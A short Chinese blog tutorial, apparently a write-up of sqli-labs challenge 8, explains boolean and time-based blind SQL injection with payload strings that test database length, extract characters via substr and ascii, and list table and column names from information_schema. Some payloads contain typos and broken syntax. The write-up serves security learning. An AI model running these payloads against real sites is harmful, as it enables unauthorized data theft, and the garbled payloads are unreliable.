前言:题目来源:sqli中的第八题,布尔盲注
1.主要涉及到函数
if(a,b,c)
a是条件,满足返回b,不满足返回c
length()
长度判断
ascii(a)
判断字符的ascill值
substr(a,b,c)
截取字符串,a为字符串,b为起始位置第一个就是1,c为偏位移量
2.布尔盲注
故名思意结合布尔判断
大家都应该知道这个?id=1' and 1=1 --+
那么这个就不难理解?id=1' and if(a,b,c)
--+
接下来就是构造参数a 首先判断数据库长度?id=1 and if(length(database()=?),1,0) --+
可以手动二分法判断,也可以爆破
接下来就爆库,?id=1' and if(ascill(substr(database(),1,1))=变量,1,0) -++
,爆破就好了
爆表名,把参数a换为 select group_concat(table_name) from information_schema.tables where table_schema='数据库名 limit 0,1'
爆字段名,把参数a换位 select group_concat(column_name) from information_schema.columns where table_name='表名 limit 0,1'
3.时间盲注
其实时间盲注和基于布尔盲注,只不过把判断式的结果c更换为sleep(整数),表示睡眠该整数时间秒数。
举个栗子:?id=1' and if(length(database())>0,sleep(5),0) --+
数据库长度必然大于0,所以一定会睡眠5秒,应该很好理解,其他的就和上面讲解的布尔盲注大同小异了
09-15
724
![](https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png)
10-04
759
![](https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png)
05-04